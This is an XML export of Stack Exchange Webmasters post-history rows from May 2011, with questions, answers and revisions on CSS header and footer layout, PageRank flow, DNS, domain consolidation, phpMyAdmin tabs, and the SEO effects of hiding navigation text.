somewhere.&#xD;&#xA;&#xD;&#xA;&gt; Here's an example I made using 20% height for header and footer with 60% height for the content. (which I can't do on this project)&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Scrolling middle section which fills the space between header and footer.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/0r56C.png" />
  <row Id="30892" PostHistoryTypeId="5" PostId="13390" RevisionGUID="0a134347-a20f-4d04-841a-cfdf1cb63b60" CreationDate="2011-05-05T20:50:46.140" UserId="7304" Comment="added 946 characters in body; added 26 characters in body; added 1 characters in body" Text="Ok so I've got a header and a footer with absolute positioning and heights of 144px. The content div in the middle area needs to be the full height of the area in between.&#xD;&#xA;&#xD;&#xA;Simplified:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;      .sandwich{&#xD;&#xA;        position: absolute;&#xD;&#xA;        height: 144px; &#xD;&#xA;        width: 100%; &#xD;&#xA;        left: 0;&#xD;&#xA;      }&#xD;&#xA;      #header{ top:    0px; }&#xD;&#xA;      #footer{ bottom: 0px; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;So basically I want a div that is 100% - 288px. At first I thought I could just make a 100% x 100% div with 144 padding on top and bottom and then stuff the content div in there at 100% but my thinking has gone stray somewhere.&#xD;&#xA;&#xD;&#xA;&gt; Here's an example I made using 20% height for header and footer with 60% height for the content. (which I can't do on this project)&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Scrolling middle section which fills the space between header and footer.&#xD;&#xA;&#xD;&#xA;This is made by&#xD;&#xA;&#xD;&#xA;	&lt;style&gt;&#xD;&#xA;	  .sandwich{&#xD;&#xA;		position: absolute;	z-index: 2; left: 0px; height: 20%; 	width: 100%;&#xD;&#xA;		background-color: #aaa;&#xD;&#xA;		padding: 0px;	margin: 0px;&#xD;&#xA;		&#xD;&#xA;	  }&#xD;&#xA;	     #header{	top:	  0px; }&#xD;&#xA;	     #footer{	bottom: 0px; }&#xD;&#xA;	     #content{ height:  60%; width: 100%; position: absolute; top: 20%; overflow: auto; }&#xD;&#xA;	&lt;/style&gt;&#xD;&#xA;	&lt;div style=&quot;height: 100%; width: 100%; position: absolute; left: 0px; top: 0px;&quot;&gt;&#xD;&#xA;		&lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&#xD;&#xA;		&lt;div style=&quot;width: 100%; position: absolute; height: 20px; background-color: #303030; bottom: 0px; z-index: 5;&quot;&gt;&lt;/div&gt;&#xD;&#xA;		&lt;center&gt;&lt;h1&gt;~~WOW, WHAT A GREAT HEADER SECTION~~&lt;/h1&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;content&quot;&gt; &#xD;&#xA;			.&#xD;&#xA;			.&#xD;&#xA;			.&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&#xD;&#xA;			&lt;div style=&quot;position: absolute; width: 100%; height: 20px; background-color: #303030; top: 0; z-index: 50;&quot;&gt;&lt;/div&gt;&#xD;&#xA;			&lt;center&gt;&lt;h1&gt;~~holy cow this footer is the best thing since sliced bread~~&lt;/h1&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;	&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/0r56C.png" />
  <row Id="30893" PostHistoryTypeId="5" PostId="13390" RevisionGUID="7b3cea9a-a1d3-4f35-979f-771c1e4e686a" CreationDate="2011-05-05T20:55:53.593" UserId="7304" Comment="added 4 characters in body" Text="Ok so I've got a header and a footer with absolute positioning and heights of 144px. The content div in the middle area needs to be the full height of the area in between.&#xD;&#xA;&#xD;&#xA;Simplified:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;      .sandwich{&#xD;&#xA;        position: absolute;&#xD;&#xA;        height: 144px; &#xD;&#xA;        width: 100%; &#xD;&#xA;        left: 0;&#xD;&#xA;      }&#xD;&#xA;      #header{ top:    0px; }&#xD;&#xA;      #footer{ bottom: 0px; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;So basically I want a div that is 100% - 288px. At first I thought I could just make a 100% x 100% div with 144 padding on top and bottom and then stuff the content div in there at 100% but my thinking has gone stray somewhere.&#xD;&#xA;&#xD;&#xA;&gt; Here's an example I made using 20% height for header and footer with 60% height for the content. (which I can't do on this project)&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Scrolling middle section which fills the space between header and footer.&#xD;&#xA;&#xD;&#xA;This is made by&#xD;&#xA;&#xD;&#xA;	&lt;style&gt;&#xD;&#xA;	  .sandwich{&#xD;&#xA;		position: absolute;	z-index: 2; left: 0px; height: 20%; 	width: 100%;&#xD;&#xA;		background-color: #aaa;&#xD;&#xA;		padding: 0px;	margin: 0px;&#xD;&#xA;		&#xD;&#xA;	  }&#xD;&#xA;	     #header{	top:	  0px; }&#xD;&#xA;	     #footer{	bottom: 0px; }&#xD;&#xA;	     #content{ height:  60%; width: 100%; position: absolute; top: 20%; overflow: auto; }&#xD;&#xA;	&lt;/style&gt;&#xD;&#xA;	&lt;div style=&quot;height: 100%; width: 100%; position: absolute; left: 0px; top: 0px;&quot;&gt;&#xD;&#xA;		&lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&#xD;&#xA;		&lt;div style=&quot;width: 100%; position: absolute; height: 20px; background-color: #303030; bottom: 0px; z-index: 5;&quot;&gt;&lt;/div&gt;&#xD;&#xA;		    &lt;center&gt;&lt;h1&gt;~~WOW, WHAT A GREAT HEADER SECTION~~&lt;/h1&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;content&quot;&gt; &#xD;&#xA;			.&#xD;&#xA;			.&#xD;&#xA;			.&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&#xD;&#xA;			&lt;div style=&quot;position: absolute; width: 100%; height: 20px; background-color: #303030; top: 0; z-index: 50;&quot;&gt;&lt;/div&gt;&#xD;&#xA;			&lt;center&gt;&lt;h1&gt;~~holy cow this footer is the best thing since sliced bread~~&lt;/h1&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;	&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/0r56C.png" />
  <row Id="30894" PostHistoryTypeId="2" PostId="13398" RevisionGUID="075f58b6-4053-43bc-94f8-ec4603cd6ef3" CreationDate="2011-05-05T21:02:42.967" UserId="1112" Text="Has Google ever published or has anybody ever calculated how much page rank juice follows from one page linking to another?&#xD;&#xA;&#xD;&#xA;For example, if I have a page about cats with a PR of 3 and I link to someone else's page about cats (i.e. relevant category) then the target page will get some PR benefit from that link. What percentage of the linking page do they get? " />
  <row Id="30895" PostHistoryTypeId="1" PostId="13398" RevisionGUID="075f58b6-4053-43bc-94f8-ec4603cd6ef3" CreationDate="2011-05-05T21:02:42.967" UserId="1112" Text="Page rank flow percentage" />
  <row Id="30896" PostHistoryTypeId="3" PostId="13398" RevisionGUID="075f58b6-4053-43bc-94f8-ec4603cd6ef3" CreationDate="2011-05-05T21:02:42.967" UserId="1112" Text="&lt;pagerank&gt;" />
  <row Id="30897" PostHistoryTypeId="25" PostId="13390" RevisionGUID="ecec60cf-0f8a-4d5b-84e6-b8c5f99d7b95" CreationDate="2011-05-05T21:11:27.877" Comment="http://twitter.com/#!/StackWebmasters/status/66248667736178688" />
  <row Id="30898" PostHistoryTypeId="2" PostId="13399" RevisionGUID="31d1a5e5-8ad8-47dc-92dd-f9e975ae9a69" CreationDate="2011-05-05T21:26:13.440" UserId="6355" Text="You will need to access the backend to have that answer, so you better ask the host.&#xD;&#xA;&#xD;&#xA;**If your host has a log analyser** like AwStats, just look at it, as it provides bandwidth spending data. An example of a AWS report:&#xD;&#xA;&#xD;&#xA;http://www.nltechno.com/awstats/awstats.pl?config=destailleur.fr&#xD;&#xA;&#xD;&#xA;**If they don't have a log analyzer** they have to provide you with information that allows a knowledgeable person to fix the problem. Just saying that there's some sort of bandwidth leakage in your code is not enough.&#xD;&#xA;" />
  <row Id="30899" PostHistoryTypeId="5" PostId="13399" RevisionGUID="b10ffe16-68b5-4113-a956-dc5b04b6a2b8" CreationDate="2011-05-05T21:31:51.707" UserId="6355" Comment="More polite answer. Sorry, I'm not an English native." Text="You will need to access the backend to have that answer, so you can start by asking it to the hosting company.&#xD;&#xA;&#xD;&#xA;**If your host has a log analyser** like AwStats, just look at it, as it provides bandwidth spending data. An example of a AWS report:&#xD;&#xA;&#xD;&#xA;http://www.nltechno.com/awstats/awstats.pl?config=destailleur.fr&#xD;&#xA;&#xD;&#xA;**If they don't have a log analyzer** they have to provide you with information that allows a knowledgeable person to fix the problem. Just saying that there's some sort of bandwidth leakage in your code is not enough.&#xD;&#xA;" />
  <row Id="30900" PostHistoryTypeId="2" PostId="13400" RevisionGUID="9140f7dd-f1e8-4dbf-8eb5-c7dfbe1136b3" CreationDate="2011-05-05T21:40:56.213" UserId="7198" Text="You might like to consider an approach like &lt;a href=&quot;https://github.com/blog/760-the-tree-slider&quot;&gt;github's tree slider,&lt;/a&gt; which allows you to drill down through complex directory and file structures.&#xD;&#xA;&#xD;&#xA;It's a beautiful solution to display complex datasets, and their implementation is the best I've seen." />
  <row Id="30901" PostHistoryTypeId="2" PostId="13401" RevisionGUID="31ecf047-a509-4581-b8d2-2233404e898a" CreationDate="2011-05-05T21:45:26.480" UserId="7316" Text="I have about 20 domains to manage. Some registered to the client (i impersonated him) and other register by me, under different name and address (over the years).&#xD;&#xA;&#xD;&#xA;I like to get ALL THE DOMAINS under one roof, one easy to manage all the registration and order in one place..&#xD;&#xA;&#xD;&#xA;what do you suggest...&#xD;&#xA;&#xD;&#xA;* once in my life, i have try doteasy, wich make dom" />
  <row Id="30902" PostHistoryTypeId="1" PostId="13401" RevisionGUID="31ecf047-a509-4581-b8d2-2233404e898a" CreationDate="2011-05-05T21:45:26.480" UserId="7316" Text="Domain manager to consolidate many domain here and there" />
  <row Id="30903" PostHistoryTypeId="3" PostId="13401" RevisionGUID="31ecf047-a509-4581-b8d2-2233404e898a" CreationDate="2011-05-05T21:45:26.480" UserId="7316" Text="&lt;domains&gt;" />
  <row Id="30904" PostHistoryTypeId="2" PostId="13402" RevisionGUID="b2c4b67e-144e-4568-bd91-12acf0083bf5" CreationDate="2011-05-05T21:52:34.100" UserId="2632" Text="I'm not sure this is the place to post this as there are very few questions tagged phpMyAdmin; I thought of stackoverflow, but it's not really programming. In any case, mods should feel free to move this to whatever SE site is appropriate...&#xD;&#xA;&#xD;&#xA;I'm looking for a configuration option that would hide the Drop and Empty tabs in the Table screens. I've looked at the &lt;a href=&quot;http://www.phpmyadmin.net/documentation/Documentation.html#config&quot;&gt;documentation&lt;/a&gt; and there are all kinds of config options, even down to letting you change the background colors of the various panes. Fun, but not as useful as controlling access to the Drop and Empty table tables would be...&#xD;&#xA;&#xD;&#xA;Can anyone point me to where I can change this? I know I've worked on hosted servers that had those tabs hidden, so it has to be possible somehow." />
  <row Id="30905" PostHistoryTypeId="1" PostId="13402" RevisionGUID="b2c4b67e-144e-4568-bd91-12acf0083bf5" CreationDate="2011-05-05T21:52:34.100" UserId="2632" Text="Configuring phpMyAdmin" />
  <row Id="30906" PostHistoryTypeId="3" PostId="13402" RevisionGUID="b2c4b67e-144e-4568-bd91-12acf0083bf5" CreationDate="2011-05-05T21:52:34.100" UserId="2632" Text="&lt;mysql&gt;" />
  <row Id="30907" PostHistoryTypeId="2" PostId="13403" RevisionGUID="c0101147-d755-4a13-85b2-30daa4082613" CreationDate="2011-05-05T22:00:06.140" UserId="1112" Text="What is the difference between a name server lookup and a DNS lookup?" />
  <row Id="30908" PostHistoryTypeId="1" PostId="13403" RevisionGUID="c0101147-d755-4a13-85b2-30daa4082613" CreationDate="2011-05-05T22:00:06.140" UserId="1112" Text="Name Server / DNS Lookup" />
  <row Id="30909" PostHistoryTypeId="3" PostId="13403" RevisionGUID="c0101147-d755-4a13-85b2-30daa4082613" CreationDate="2011-05-05T22:00:06.140" UserId="1112" Text="&lt;dns&gt;&lt;nameserver&gt;&lt;dns-servers&gt;" />
  <row Id="30910" PostHistoryTypeId="2" PostId="13404" RevisionGUID="0d614aed-668d-444c-8c47-b1cca70e488a" CreationDate="2011-05-05T22:04:03.407" UserId="3639" Text="Nothing.  &quot;Name Server&quot; is short for &quot;Domain Name Server&quot;, which is what &quot;DNS&quot; stands for.  " />
  <row Id="30911" PostHistoryTypeId="5" PostId="13401" RevisionGUID="e149b806-0de5-40c3-9ca5-e2a20d8e6936" CreationDate="2011-05-05T22:06:37.483" UserId="7316" Comment="added 55 characters in body" Text="I have about 20 domains to manage. Some registered to the client (i impersonated him) and other register by me, under different name and address (over the years).&#xD;&#xA;&#xD;&#xA;I like to get ALL THE DOMAINS under one roof, one easy to manage all the registration and order in one place..&#xD;&#xA;&#xD;&#xA;what do you suggest...&#xD;&#xA;&#xD;&#xA;* once in my life, i have try doteasy, wich make domain managing super easy, but i don't like the prices..." />
  <row Id="30912" PostHistoryTypeId="2" PostId="13405" RevisionGUID="95546957-0449-4fb4-8d9f-2b733e2d6249" CreationDate="2011-05-05T23:16:48.737" UserId="6624" Text="By default, Google Analytics produces reports on which versions of Flash and Java my users have.  Is it possible to set up a report on which versions of QuickTime (if any)" />
  <row Id="30913" PostHistoryTypeId="1" PostId="13405" RevisionGUID="95546957-0449-4fb4-8d9f-2b733e2d6249" CreationDate="2011-05-05T23:16:48.737" UserId="6624" Text="Can I use Google Analytics to count QuickTime installations?" />
  <row Id="30914" PostHistoryTypeId="3" PostId="13405" RevisionGUID="95546957-0449-4fb4-8d9f-2b733e2d6249" CreationDate="2011-05-05T23:16:48.737" UserId="6624" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="30915" PostHistoryTypeId="5" PostId="13359" RevisionGUID="ebf21b27-7c05-4709-9b20-0f26114e5011" CreationDate="2011-05-05T23:40:54.717" UserId="7296" Comment="updated to better descibe what I am asking" Text="How to get Google Search to link to a Query String for your page when no physical page Exist.&#xD;&#xA;&#xD;&#xA;I notice when I do a google search for some keywords I get back some website hits that do **not** link to a physical page but instead redirect me to their search page with my google search terms pre-populated.&#xD;&#xA;&#xD;&#xA;For instance if I search  &quot;visualforce component blog&quot; &#xD;&#xA;One of the  google results is http://blog.jeffdouglas.com/?s=visualforce+component+blog&#xD;&#xA;&#xD;&#xA;How do I do this? Make the google search result link to a query string (dymanic search on my page) Is it via a siteMap entry ? Or something else?" />
  <row Id="30916" PostHistoryTypeId="4" PostId="13359" RevisionGUID="ebf21b27-7c05-4709-9b20-0f26114e5011" CreationDate="2011-05-05T23:40:54.717" UserId="7296" Comment="updated to better descibe what I am asking" Text="Google Search to link to a Query String" />
  <row Id="30917" PostHistoryTypeId="6" PostId="13359" RevisionGUID="ebf21b27-7c05-4709-9b20-0f26114e5011" CreationDate="2011-05-05T23:40:54.717" UserId="7296" Comment="updated to better descibe what I am asking" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="30918" PostHistoryTypeId="25" PostId="13403" RevisionGUID="4a60aacc-cbc6-42be-b414-aaf5d8e36373" CreationDate="2011-05-06T00:11:27.327" Comment="http://twitter.com/#!/StackWebmasters/status/66293964399067136" />
  <row Id="30919" PostHistoryTypeId="2" PostId="13406" RevisionGUID="467c94de-92f1-478d-a8c4-822023567de6" CreationDate="2011-05-06T00:32:49.513" UserId="7287" Text="Somebody could be placing images on their own site by directly linking to the images on your site." />
  <row Id="30920" PostHistoryTypeId="2" PostId="13407" RevisionGUID="0acab72a-6949-4694-9548-6e0956e34de0" CreationDate="2011-05-06T00:43:27.450" UserId="1253" Text="The PR that is passed through a link is &#xD;&#xA;&#xD;&#xA;(PR of the page / # of links on the page) * dampening factor &#xD;&#xA;&#xD;&#xA;The dampening factor was originally .85 although it is likely that has changed since then. Also keep in mind that although PR is cumulative, the calculation of PR iterates until PR flattens (I believe to 1. You'll need to read the actual formula or summary of what it means to understand that).&#xD;&#xA;&#xD;&#xA;FYI, relevance has nothing to with PR. PR is a numerical representation of link popularity only." />
  <row Id="30921" PostHistoryTypeId="5" PostId="8196" RevisionGUID="d5804728-ba89-46a2-b239-24ec0a04518f" CreationDate="2011-05-06T01:17:19.427" UserId="4786" Comment="removed greeting and signature per faq" Text="The popular items menu on [www.nfpn.org][1] (displayed in right side bar) has sub-menu items defined. When someone navigates to a top-level page that's represented in that menu, I'd like for the child items to be displayed. I've played with various mod_mainmenu settings for that menu (in the modules section) without success.&#xD;&#xA;&#xD;&#xA;How would I get the appropriate sub-menu to expand?&#xD;&#xA;&#xD;&#xA;I'm using Joomla 1.5.21.&#xD;&#xA;  [1]: http://www.nfpn.org/" />
  <row Id="30922" PostHistoryTypeId="24" PostId="8196" RevisionGUID="d5804728-ba89-46a2-b239-24ec0a04518f" CreationDate="2011-05-06T01:17:19.427" Comment="Proposed by 4786 approved by 108 edit id of 252" />
  <row Id="30923" PostHistoryTypeId="5" PostId="13407" RevisionGUID="b223cc36-e7e2-41e8-8832-5f2fee4f6e19" CreationDate="2011-05-06T02:05:57.847" UserId="1253" Comment="added 144 characters in body" Text="The PR that is passed through a link is &#xD;&#xA;&#xD;&#xA;(PR of the page / # of links on the page) * dampening factor &#xD;&#xA;&#xD;&#xA;The dampening factor was originally .85 although it is likely that has changed since then. Also keep in mind that although PR is cumulative, the calculation of PR iterates until PR flattens (I believe to 1. You'll need to read the actual formula or summary of what it means to understand that). Basically it's impossible to determine what the PR of a page will be as the number of pages indexed by Google influences every page's final PR.&#xD;&#xA;&#xD;&#xA;FYI, relevance has nothing to with PR. PR is a numerical representation of link popularity only." />
  <row Id="30924" PostHistoryTypeId="17" PostId="13409" RevisionGUID="937e830b-58db-4c3d-84c2-94f5470d65ca" CreationDate="2011-05-06T03:03:20.017" UserId="-1" Comment="from http://stackoverflow.com/questions/5903034/display-none-and-seo/5903134#5903134" Text="" />
  <row Id="30925" PostHistoryTypeId="17" PostId="13410" RevisionGUID="0083cd35-17bc-4682-8f07-64d961b3b399" CreationDate="2011-05-06T03:03:20.017" UserId="-1" Comment="from http://stackoverflow.com/questions/5903034/display-none-and-seo/5903138#5903138" Text="" />
  <row Id="30926" PostHistoryTypeId="17" PostId="13411" RevisionGUID="a6a57521-e6e4-40d0-9a10-6d637fe83adc" CreationDate="2011-05-06T03:03:20.017" UserId="-1" Comment="from http://stackoverflow.com/questions/5903034/display-none-and-seo/5903139#5903139" Text="" />
  <row Id="30927" PostHistoryTypeId="17" PostId="13412" RevisionGUID="51386c5c-4018-4f0d-8cba-69532b711dd2" CreationDate="2011-05-06T03:03:20.017" UserId="-1" Comment="from http://stackoverflow.com/questions/5903034/display-none-and-seo/5903340#5903340" Text="" />
  <row Id="30928" PostHistoryTypeId="17" PostId="13413" RevisionGUID="2130a344-0ac1-4abb-95e2-49a68748c4a0" CreationDate="2011-05-06T03:03:20.017" UserId="-1" Comment="from http://stackoverflow.com/questions/5903034/display-none-and-seo/5903419#5903419" Text="" />
  <row Id="30929" PostHistoryTypeId="2" PostId="13409" RevisionGUID="92e914c2-12be-4908-ae35-7fa8c7b34b48" CreationDate="2011-05-05T19:32:56.743" UserDisplayName="Jeremy B." Text="Google tends to keep their algorithms under pretty good wraps. I do know that for quite some time we would force things off the page by using extreme negative margins, and that CSS wasn't considered by google. I'm not as sure about display:none though. &#xD;&#xA;&#xD;&#xA;see this question for more info: http://stackoverflow.com/questions/5481225/do-search-engines-treat-text-indent-9999em-or-negative-margin-as-seo-cheat&#xD;&#xA;&#xD;&#xA;My recommendation would be to use the negative margin trick to force it off the page." />
  <row Id="30930" PostHistoryTypeId="2" PostId="13410" RevisionGUID="bd43d1a2-b6a4-468f-ad20-422abbac0e7f" CreationDate="2011-05-05T19:33:24.250" UserDisplayName="agieche" Text="You can use the the following css for the elements you'd like to hide:&#xD;&#xA;&#xD;&#xA;    text-indent: -9999px;&#xD;&#xA;&#xD;&#xA;I'm using this a lot on logos and related logo-text. Hope, this helped." />
  <row Id="30931" PostHistoryTypeId="2" PostId="13411" RevisionGUID="9220cc3d-2317-4f45-bc61-25a4eb2716b4" CreationDate="2011-05-05T19:33:26.010" UserDisplayName="strauberry" Text="I've made some bad experiences with hiding text via CSS for the user. Google recognized the usage of color: white or display: none for text and it is not happy about this ;-) You could create a list with all the links in the footer of the page: move all &quot;uninteresting&quot; links from your navi to the bottom..." />
  <row Id="30932" PostHistoryTypeId="2" PostId="13412" RevisionGUID="0102bbbf-c81d-40ad-9fb3-9acb6723f62f" CreationDate="2011-05-05T19:53:27.707" UserId="6378" Text="You could also give the stuff you want to hide a low z-index. I don't have a clue how Google feels about that, but I do know that display:none is not a good strategy." />
  <row Id="30933" PostHistoryTypeId="2" PostId="13413" RevisionGUID="82421253-fe5b-4a30-9af3-3ceac216209b" CreationDate="2011-05-05T20:01:28.633" UserId="3904" Text="Just keep your content fresh and relevant. If your navigation needs an update, change it to be clearer and more useful to your visitors. Don't try to fool search engines by hiding text, through any means.&#xD;&#xA;&#xD;&#xA;Google doesn't publish their ranking criteria, but they do offer [this guide][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/09/seo-starter-guide-updated.html" />
  <row Id="30934" PostHistoryTypeId="2" PostId="13408" RevisionGUID="b5efc087-1749-42f8-af65-f65f07dd6a02" CreationDate="2011-05-05T19:24:07.923" UserDisplayName="Tamer" Text="So i have a nav with tons of stuff and we want to scale back a few of the a tags in the nav but still have them on the page. So for example I was thinking of using jQuery or css display none to hide the text...but we still want the text on the page for the google crawler. Does this technique hurt our current SEO rankings or is it frowned on by google. Here is my [site][1] and the nav is on the left....If this will hurt the SEO status is there anything else we can do to keep the text on the page without effecting SEO&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://posnation.com/" />
  <row Id="30935" PostHistoryTypeId="1" PostId="13408" RevisionGUID="b5efc087-1749-42f8-af65-f65f07dd6a02" CreationDate="2011-05-05T19:24:07.923" UserDisplayName="Tamer" Text="DIsplay none and SEO" />
  <row Id="30936" PostHistoryTypeId="3" PostId="13408" RevisionGUID="b5efc087-1749-42f8-af65-f65f07dd6a02" CreationDate="2011-05-05T19:24:07.923" UserDisplayName="Tamer" Text="&lt;jquery&gt;&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;seo&gt;" />
  <row Id="30937" PostHistoryTypeId="17" PostId="13408" RevisionGUID="be499f62-9afd-4ad8-a418-6dba734f16ce" CreationDate="2011-05-06T03:03:20.017" UserId="-1" Comment="from http://stackoverflow.com/questions/5903034/display-none-and-seo" Text="" />
  <row Id="30938" PostHistoryTypeId="25" PostId="13408" RevisionGUID="0c5f5220-27f4-4548-8a18-2d666b33b0f7" CreationDate="2011-05-06T03:11:27.757" Comment="http://twitter.com/#!/StackWebmasters/status/66339265063292928" />
  <row Id="30939" PostHistoryTypeId="2" PostId="13414" RevisionGUID="24d2e0a1-4a9a-47d4-8272-f8750df5e18d" CreationDate="2011-05-06T04:02:48.367" UserId="1735" Text="Plenty of good answers here. I eventually found a wordpress theme called &quot;Askit!&quot; from [Elegant Themes][1] that did the trick. It's not perfect, but it's pretty good. Thanks guys!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://elegantthemes.com" />
  <row Id="30940" PostHistoryTypeId="2" PostId="13415" RevisionGUID="164e81e2-e03e-435f-b62f-a160885fc0b4" CreationDate="2011-05-06T04:43:14.737" UserId="5692" Text="Is there a desktop application or IDE similar to *jsFiddle* where I can insert my JavaScript code, HTML and CSS and see how it executes?&#xD;&#xA;&#xD;&#xA;I don't mind writing HTML, CSS and JavaScript in the places they are supposed to be, but what I don't want is the process of &#xD;&#xA;&#xD;&#xA;*Save changes  &#xD;&#xA;Open browser  &#xD;&#xA;Refresh  &#xD;&#xA;Edit  &#xD;&#xA;Save  &#xD;&#xA;Open Browser*  &#xD;&#xA;..." />
  <row Id="30941" PostHistoryTypeId="1" PostId="13415" RevisionGUID="164e81e2-e03e-435f-b62f-a160885fc0b4" CreationDate="2011-05-06T04:43:14.737" UserId="5692" Text="Looking for a desktop application similar to jsFiddle" />
  <row Id="30942" PostHistoryTypeId="3" PostId="13415" RevisionGUID="164e81e2-e03e-435f-b62f-a160885fc0b4" CreationDate="2011-05-06T04:43:14.737" UserId="5692" Text="&lt;html&gt;&lt;css&gt;&lt;javascript&gt;&lt;tools&gt;" />
  <row Id="30943" PostHistoryTypeId="4" PostId="13390" RevisionGUID="d38e06e5-c892-49ea-a8c2-b0d7217d1fcd" CreationDate="2011-05-06T04:54:34.683" UserId="7304" Comment="edited title; deleted 1013 characters in body; edited title" Text="Can you make total height for a 3-div-sandwhich equal 100% if top &amp; bottom divs are in pixels?" />
  <row Id="30944" PostHistoryTypeId="5" PostId="13390" RevisionGUID="d38e06e5-c892-49ea-a8c2-b0d7217d1fcd" CreationDate="2011-05-06T04:54:34.683" UserId="7304" Comment="edited title; deleted 1013 characters in body; edited title" Text="Ok so I've got a header and a footer with absolute positioning and heights of 144px. The content div in the middle area needs to be the full height of the area in between.&#xD;&#xA;&#xD;&#xA;Simplified:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;      .sandwich{&#xD;&#xA;        position: absolute;&#xD;&#xA;        height: 144px; &#xD;&#xA;        width: 100%; &#xD;&#xA;        left: 0;&#xD;&#xA;      }&#xD;&#xA;      #header{ top:    0px; }&#xD;&#xA;      #footer{ bottom: 0px; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;So basically I want a div that is 100% - 288px. At first I thought I could just make a 100% x 100% div with 144 padding on top and bottom and then stuff the content div in there at 100% but my thinking has gone stray somewhere.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&gt; Here's an example I made using 20% height for 'bread layers'. (Which I can't do on this project) Used 60% height for the scrolling 'meaty layer' and put it at top: 20%;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/0r56C.png" />
  <row Id="30946" PostHistoryTypeId="25" PostId="13405" RevisionGUID="0394998e-e1ec-4a28-9eba-7fe4c30874a4" CreationDate="2011-05-06T06:11:28.590" Comment="http://twitter.com/#!/StackWebmasters/status/66384566109216768" />
  <row Id="30947" PostHistoryTypeId="2" PostId="13417" RevisionGUID="2acf8e9d-b716-42c2-87c9-f76b351c1c70" CreationDate="2011-05-06T06:44:49.033" UserId="7328" Text="Do you try Galleris section in WebMatrix, there are 4 application , I tries Gallery Server Pro, but I'm not sure it was in C#" />
  <row Id="30951" PostHistoryTypeId="2" PostId="13419" RevisionGUID="327ed5ab-8fbc-4070-b186-a3c540d31797" CreationDate="2011-05-06T06:53:11.893" UserId="7328" Text="is there any open source script for selling e-vouchers ? &#xD;&#xA;I want to show vouchers information after successful payment, and if customers order more than one vouchers all of them must be displayed in a page.&#xD;&#xA;&#xD;&#xA;Any suggestion ?&#xD;&#xA;Thanks" />
  <row Id="30952" PostHistoryTypeId="1" PostId="13419" RevisionGUID="327ed5ab-8fbc-4070-b186-a3c540d31797" CreationDate="2011-05-06T06:53:11.893" UserId="7328" Text="Open source online shop for selleing vouchers" />
  <row Id="30953" PostHistoryTypeId="3" PostId="13419" RevisionGUID="327ed5ab-8fbc-4070-b186-a3c540d31797" CreationDate="2011-05-06T06:53:11.893" UserId="7328" Text="&lt;shopping-cart&gt;" />
  <row Id="30954" PostHistoryTypeId="2" PostId="13420" RevisionGUID="c6a9cb5a-3331-44eb-ade6-2c5e7116c107" CreationDate="2011-05-06T07:55:31.567" UserId="1643" Text="The only way I can think of is to edit the php. I've found what looks like the code that generates those in db_structure.php (this is 3.3.7). Look for lines with the words TRUNCATE and DROP in them.&#xD;&#xA;&#xD;&#xA;One reason that those hosted servers had them hidden could be because the database user didn't have the privileges to do that, but I can't see anything in the code to check those privileges, so maybe the hosting companies edited the php too." />
  <row Id="30955" PostHistoryTypeId="2" PostId="13421" RevisionGUID="2bf2d515-be59-4e7b-8420-656cbd68781e" CreationDate="2011-05-06T08:06:12.223" UserId="1643" Text="Pick a company which looks like it's going to be around for a few years and move all the domains to that company. Make sure that you have written agreements with the clients who you impersonated so that it's clear who owns the domain. If you used their contact details then when the domain transfer request comes through they are going to receive it and may wonder what's happening." />
